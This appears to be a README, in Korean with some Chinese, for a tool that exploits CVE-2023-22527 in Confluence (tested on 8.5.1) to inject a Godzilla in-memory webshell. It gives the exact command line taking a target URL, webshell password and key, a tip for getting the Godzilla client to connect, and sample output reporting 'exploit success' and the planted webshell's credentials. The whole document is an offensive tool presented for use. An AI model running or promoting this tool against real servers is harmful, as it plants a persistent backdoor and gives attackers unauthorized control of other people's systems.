boogipop/cve-2023-22527-godzilla-memshellCVE-2023-22527 메모리 셸 주입 도구
참고: 테스트 버전은 8.5.1입니다. 다른 버전도 분명 가능하지만 테스트하지 않았습니다.
内容参考北辰师傅之前的工具
java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar url 哥斯拉密码 哥斯拉密钥
example
java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar http://xxxx/ pass key
메모리 쉘이 성공적으로 주입되었지만 고질라가 연결할 수 없는 경우, 요청 설정에 다음 프로토콜 헤더를 추가하거나 고질라에 Burp 프록시를 구성하세요.
Connection: close
$ java -jar .\CVE-2023-22527-Godzilla-MEMSHELL-main.jar http://127.0.0.1:8090/ qaxnb key
[*] Exploit url: http://127.0.0.1:8090/template/aui/text-inline.vm
Response Code: 200
Response Code: 200
[*] send payload
Validate Response Code: 200
[*] exploit success
[*] godzilla webshell password : qaxnb
[*] godzilla webshell key : key
